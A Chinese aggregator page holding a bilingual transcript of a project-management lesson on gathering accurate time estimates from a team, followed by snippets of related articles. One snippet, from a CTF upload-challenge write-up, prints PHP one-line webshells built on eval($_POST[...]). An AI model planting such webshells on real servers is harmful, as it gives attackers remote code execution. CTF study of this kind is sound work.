Getting accurate time estimates from your tea(从您的团队获得准确的时间估计)
Hi again.
嗨了。
Ready to get back into it?
准备好重新开始了吗?
Let’s go. Time estimation,
我们走吧。时间估计,
effort estimation,
努力估计,
and capacity planning are all helpful techniques for creating your project schedule.
容量规划都是创建项目时间表的有用技巧。
At the center of all this planning is your team.
所有这些计划的中心是你的团队。
Throughout the schedule-planning process,
在整个计划过程中,
you’re working with teammates to gather estimates,
你和队友一起收集估算数据,
and you’re taking into account each person’s capacity when building the project schedule.
在制定项目进度表时,你要考虑到每个人的能力。
It makes sense to involve your teammates at this stage.
在这个阶段让你的队友参与进来是有意义的。
After all, the person assigned to the given task is likely to have the best sense of how long it will take to complete that task.
毕竟,被分配到给定任务的人可能最清楚完成这项任务需要多长时间。
They’ll also have the best sense of their own capacity for taking on the work.
他们也会对自己承担工作的能力有最好的感觉。
But these conversations are a two-way discussion,
但这些对话是双向的讨论,
and you’ll need to tap into your soft skills to get the most accurate estimate from your team.
你需要利用你的软技能从你的团队中得到最准确的估计。
Soft skills are personal characteristics that help people work effectively with others.
软技能是帮助人们有效地与他人合作的个人特征。
These include crucial communication and interpersonal skills we’ve discussed over the course of this program.
这些包括我们在本课程中讨论过的重要的沟通和人际交往技巧。
Soft skills can be important when trying to understand what might be blocking someone’s ability to do their best work.
在试图理解是什么阻碍了某人把工作做到最好时,软技能是很重要的。
Let’s go over three ways to use soft skills and gather accurate estimates from your teammates.
让我们来看看三种使用软技能的方法,并从你的队友那里收集准确的评估。
These are asking the right questions, negotiating effectively, and practicing empathy.
这些是问正确的问题,有效的谈判和练习同理心。
Let’s start with asking the right questions.
让我们从问正确的问题开始。
Think of conversations around the time estimation as a kind of interview.
把关于时间估计的对话看作是一种面试。
You’re connecting with your teammates to learn more about how they work on specific tasks,
你和你的队友联系,了解他们是如何完成特定任务的,
and you’ll use this information to build your schedule.
你会利用这些信息来制定你的时间表。
To aim to get the most relevant information from these conversations,
为了从这些对话中获得最相关的信息,
you’ll want to be certain that you’re asking effective,
你要确保你的要求是有效的,
open-ended questions that lead to the answers you’re seeking.
开放式的问题,指向你想要的答案。
An open-ended question is a question that cannot be answered with a yes or a no.
开放式问题是一个不能用是或否来回答的问题。
The answer provides the relevant details of what you need to know.
答案提供了您需要知道的相关细节。
Let’s imagine this in the context of your project at Office Green.
让我们想象一下,在你的绿色办公室项目的背景下。
You’ve discussed the design of the new website with your web designer,
你已经和你的网页设计师讨论了新网站的设计,
and you’d like to know how long it will take them to mock up designs for your review.
你想知道他们需要多长时间来模拟设计供你审查。
Now let’s say you start the conversation by asking a question like,
现在假设你通过问这样的问题开始对话,
can you complete the mock-ups in one week?
你能在一周内完成这些模型吗?
This is a closed-ended question and might elicit a simple yes or no answer,
这是一个封闭的问题,可能会得到一个简单的“是”或“不是”的回答,
which doesn’t tell you much about the task of designing a website or about your teammate’s working style.
这并不能告诉你设计网站的任务或你的队友的工作风格。
Now, imagine if you had started this conversation with an open-ended question.
现在,想象一下,如果你以一个开放式的问题开始这个对话。
For example, you might ask the web designer something like,
例如,你可能会问网页设计师,
how long does it typically take you to mock up a website design like this one?
你通常要花多长时间来模拟这样一个网站的设计?
This is an open-ended question and is more likely to elicit a more detailed response. From there,
这是一个开放式的问题,更有可能引出更详细的回答。从那里,
you can ask follow up questions like,
你可以问一些后续问题,比如,
how complex are the steps to complete this task?
完成这项任务的步骤有多复杂?
What are the risks associated with this task?
与此任务相关的风险是什么?
And, when do you think you can have this ready?
你觉得什么时候可以准备好?
By asking your teammates effective,
通过要求你的队友有效,
open-ended questions about their assigned tasks,
关于分配任务的开放式问题,
you can learn more about how they work and what they do.
你可以更多地了解它们的工作原理和功能。
As you have more of these conversations,
当你有更多这样的对话时,
you will develop a better sense of your teammates roles and their tasks,
你会对队友的角色和任务有更好的认识,
and you will be able to rely less on your team to make accurate estimates.
这样你就可以更少地依赖你的团队来做出准确的估计。
Another way to use soft skills to gather estimates from teammates is to negotiate effectively.
使用软技能从队友那里收集评估的另一种方法是进行有效的谈判。
Part of your job as the project manager is to bridge the gap between high-level goals of the project and the day-to-day perspective of your team.
作为项目经理,你的部分工作是在项目的高层目标和团队的日常观点之间架起桥梁。
While your project might be your number one priority,
虽然你的项目可能是你的首要任务,
it’s possible that people on your project team have competing priorities on other teams to keep track of,
有可能你项目团队中的人在其他团队中有相互竞争的优先级要跟踪,
as well. Negotiating effectively can help you influence a team member to make your project their priority,
也。有效的谈判可以帮助你影响团队成员,让他们优先考虑你的项目,
by collaborating to find an outcome that works for everyone.
通过合作找到一个对每个人都有效的结果。
For example, let’s imagine that the website designer estimates it will take them two weeks to mock up the website design for review.
例如,让我们想象一下,网站设计师估计他们需要两周的时间来模拟网站设计以供审查。
But perhaps you were hoping that the estimate might be closer to one week.
但也许你希望估计时间更接近一周。
To arrive at an estimate that works for both you and the designer,
为了得出一个对你和设计师都有效的估计,
you might gently challenge the estimate by asking follow-up questions.
你可以通过问一些后续问题来质疑这个估计。
Perhaps you’d ask if their estimate includes mocking up designs for multiple pages.
也许你会问他们的估计是否包括多个页面的模拟设计。
If so, you might ask if the designer is able to share one or two pages with you sooner than their proposed deadline.
如果是这样,你可以问设计师是否可以在他们提出的截止日期之前与你分享一到两页。
By asking questions,you can determine if their estimate is flexible,
通过提问,你可以确定他们的估计是否灵活,
or if you need to bring in an additional designer to support the schedule.
或者如果你需要额外的设计师来支持你的计划。
By negotiating effectively with your teammates,
通过与你的队友进行有效的谈判
you can create a sense of shared ownership over the project outcomes and create a schedule that aligns with everyone’s workload.
您可以创建一种共享项目成果的感觉,并创建一个与每个人的工作量相一致的时间表。
Now let’s discuss the value of practicing empathy.
现在我们来讨论练习同理心的价值。
Empathy refers to a person’s ability to relate to the thoughts and feelings of others.
同理心是指一个人与他人的想法和感受相联系的能力。
Practicing empathy at work can be a very effective way to build trust with your team.
在工作中练习同理心是与团队建立信任的一种非常有效的方式。
Your teammates are humans,
你的队友是人类,
and each person can only do so much.
每个人只能做这么多。
When you’re discussing estimates with the team,
当你和团队讨论评估时,
you might practice empathy by asking each person about their workload,
你可以通过询问每个人的工作量来练习同理心,
including work outside of your project and the overall work-life balance.
包括项目之外的工作和整体的工作与生活平衡。
You might also ask if they’ve scheduled vacation or leave during the duration of the project,
你也可以问他们是否在项目期间安排了假期或离开,
or if there are crucial holidays in which they won’t be working.
或者如果有重要的节日他们不工作。
This can help you avoid assigning tasks when teammates are unable to complete them on time.
这可以帮助您避免在队友无法按时完成任务时分配任务。
For example, the web designer might tell you that they’re also designing a website for another team at Office Green,
例如,网页设计师可能会告诉你,他们也在为Office Green的另一个团队设计一个网站,
and that the timeline for both projects overlap.
而且这两个项目的时间表重叠。
So, to avoid overloading your designer with work,
所以,为了避免设计师的工作负担过重,
you might work with the other project manager to balance workloads across the teams.
您可能会与其他项目经理一起工作,以平衡团队之间的工作量。
People like to feel their work is valued,
人们喜欢感觉自己的工作受到重视,
so part of empathy is remembering to always be appreciative of the work,
所以移情的一部分是记住要永远感激工作,
collaboration, and support that you’re getting from the team.
协作,以及你从团队中得到的支持。
So, to recap, asking the right questions,
总结一下,问对问题,
negotiating effectively,
有效的谈判,
and practicing empathy can help you get viable,
练习同理心可以帮助你生存下去,
accurate estimates from your teammates about project tasks.
团队成员对项目任务的准确估计。
Coming up, we will discuss putting these estimates to good use in the project plan.
接下来,我们将讨论如何在项目计划中充分利用这些评估。
相关文章:
Getting accurate time estimates from your tea(从您的团队获得准确的时间估计)
Hi again. 嗨了。 Ready to get back into it? 准备好重新开始了吗? Let’s go. Time estimation, 我们走吧。时间估计, effort estimation, 努力估计, and capacity planning are all helpful techniques for creating your project schedule. 容量规划都是创建项…...
攻防世界35-easyupload-CTFWeb
攻防世界35-easyupload-CTFWeb 通过各种上传发现,过滤了php后缀和内容中有php的文件 有这几种方式上传一句话木马 <script language"php">eval($_POST[1]);</script> <?php eval($_POST[cmd]);?> <? eval($_POST[cmd]);?>…...
在Mysql中,如何定位慢查询
参考回答:之前我们有个项目做压测的时候有的接口非常的慢,接口的响应时间超过了2秒以上,因为在MySOL中也提供了慢日志查询的功能,可以在MySOL的系统配置文件中开启这个慢日志的功能,并且也可以设置SOL执行超过多少时间…...
CSS教程(三)- CSS 三大特性
1. 层叠性 介绍 多组CSS样式共同作用于一个元素,就会出现 覆盖(层叠) 另一个冲突的样式。 层叠原则 样式冲突:遵循就近原则(哪个样式离结构近,就执行哪个样式) 样式不冲突,就不会重…...
如何保证Redis与MySQL双写一致性
什么是双写一致性问题? 双写一致性主要指在一个数据同时存在于缓存(如Redis)和持久化存储(如MySQL)的情况下,任何一方的数据更新都必须确保另一方数据的同步更新,以保持双方数据的一致状态。这一…...
【IC每日一题:IC验证面试--UVM验证-2】
IC每日一题:IC验证面试--UVM验证-2 2.9 get_next_iterm()和try_next_item()的区别?2.10 一个典型的UVM验证平台,谈一下UVM验证环境结构,各个组件之间的关系?2.11 uvm组件之间通信的方式? analysis_port和其…...
SPIRE: Semantic Prompt-Driven Image Restoration 论文阅读笔记
这是一篇港科大学生在google research 实习期间发在ECCV2024的语义引导生成式修复的文章,港科大陈启峰也挂了名字。从首页图看效果确实很惊艳,尤其是第三行能用文本调控修复结果牌上的字。不过看起来更倾向于生成,对原图内容并不是很复原&…...
#揭秘万维网:从静态页面到智能互联网
揭秘万维网:从静态页面到智能互联网 今天刚上了学校开设的课程,于是便有了下文的思考内容。 在当今数字化时代,Web(万维网)扮演着重要的角色,成为人们获取信息、沟通交流和进行商业活动的主要平台。 1. …...
【计算机基础——数据结构——红黑树】
1. 红黑树(RBTree) 为什么HashMap不直接使用AVL树,而是选择了红黑树呢? 由于AVL树必须保证左右子树平衡,Max(最大树高-最小树高) < 1,所以在插入的时候很容易出现不平衡的情况,一旦这样&…...
Sentinel — 微服务保护
微服务架构将大型应用程序拆分为多个小而独立的服务,每个服务可以独立部署和扩展。然而,微服务系统需要面对的挑战也随之增加,例如服务之间的依赖、分布式环境下的故障传播和安全问题。因此,微服务保护措施是确保系统在高并发、资…...
Cynet:全方位一体化安全防护工具
前言 1999年,布鲁斯施奈尔曾说过:“复杂性是安全最大的敌人。”彼时还是19年前,而现在,网络安全已然变得更加繁杂。 近日我在网上冲浪过程中发现了这么一个平台性质的软件,看似具有相当强的防护能力。 根据Cynet的描…...
python中常见的8种数据结构之一数组的应用
在Python中,数组是一种常见的数据结构,用于存储一系列相同类型的元素。在实际应用中,数组可以用于解决各种问题。 以下是数组在Python中的一些常见应用: 1. 存储和访问数据:数组可以用于存储和访问一组数据。可以通过…...
安装多个低版本谷歌Chrome浏览器用于测试,适配Vue3+vite项目
安装多个低版本谷歌Chrome浏览器用于测试,适配Vue3vite项目 问题:使用vue3tsvite搭建了一个项目,在chrome新版本浏览器上无问题,但是部署到现场页面直接空白,且控制台报错: Uncaugnt SyntaxError: Unexpe…...
UI组件---如何设置el-pagination分页组件的背景色
1. 要替换 el-pagination 组件的背景色,您可以通过自定义CSS来实现。 具体的CSS规则取决于您想要更改的是哪个部分的背景色,例如普通页码、活跃页码、上下导航箭头等。以下是一些示例CSS规则,您可以根据自己的需求进行调整: /* …...
LabVIEW编程过程中为什么会出现bug?
在LabVIEW编程过程中,Bug的产生往往源自多方面原因。以下从具体的案例角度分析一些常见的Bug成因和调试方法,以便更好地理解和预防这些问题。 1. 数据流错误 案例:在一个LabVIEW程序中,多个计算节点依赖相同的输入数据&#…...
论文阅读《Structure-from-Motion Revisited》
摘要 增量式地运动结构恢复是从无序图像集合中进行三维重建的一个普遍策略。虽然增量式地重建系统在各个方面上都取得了巨大的进步,但鲁棒性、准确性、完整度和尺度仍然是构建真正通用管道的关键问题。我们提出了一种新的运动结构恢复技术,它改进了目前…...
RK android14 第三方app获取su权限
需要修改的地方如下 frameworks/base/core/jni/com_android_internal_os_Zygote.cpp kernel-6.1/security/commoncap.c system/core/init/selinux.cpp system/core/libcutils/fs_config.cpp system/extras/su/su.cpp device/rockchip/common/BoardConfig.mk device/rockchip…...
线程与进程的区别(面试)
一.进程 进程:一个程序启动起来,就会对应一个进程,进程就是系统分配资源的基本单位。 上面一部分进程是我们自己去执行应用的可执行文件, 而另一部分是操作系统自动启动的进程. 二.线程 线程:线程是进程中的一个执行单元ÿ…...
OpenDroneMap Webodm
OpenDroneMap & Webodm OpenDroneMap Webodm 开源无人机航拍系列图像及其它系列图像三维重建软件。很棒的开源无人机测绘软件OpenDroneMap,从航拍图像生成精确的地图、高程模型、3D 模型和点云。 应用领域 Mapping & Surveying 测绘和测量 从图像测量获得高精度的可…...
Could not create task ‘:shared_preferences_android:generateDebugUnitTestConfig‘
flutter项目使用shared_preferences库的时候,打开flutter项目中的android项目运行,会出现如下错误信息: A build operation failed. Could not create task :shared_preferences_android:generateDebugUnitTestConfig. Could not create…...
RestClient
什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端,它允许HTTP与Elasticsearch 集群通信,而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级ÿ…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
解锁数据库简洁之道:FastAPI与SQLModel实战指南
在构建现代Web应用程序时,与数据库的交互无疑是核心环节。虽然传统的数据库操作方式(如直接编写SQL语句与psycopg2交互)赋予了我们精细的控制权,但在面对日益复杂的业务逻辑和快速迭代的需求时,这种方式的开发效率和可…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
c#开发AI模型对话
AI模型 前面已经介绍了一般AI模型本地部署,直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型,但是目前国内可能使用不多,至少实践例子很少看见。开发训练模型就不介绍了&am…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...
html-<abbr> 缩写或首字母缩略词
定义与作用 <abbr> 标签用于表示缩写或首字母缩略词,它可以帮助用户更好地理解缩写的含义,尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时,会显示一个提示框。 示例&#x…...
初学 pytest 记录
安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...
虚拟电厂发展三大趋势:市场化、技术主导、车网互联
市场化:从政策驱动到多元盈利 政策全面赋能 2025年4月,国家发改委、能源局发布《关于加快推进虚拟电厂发展的指导意见》,首次明确虚拟电厂为“独立市场主体”,提出硬性目标:2027年全国调节能力≥2000万千瓦࿰…...
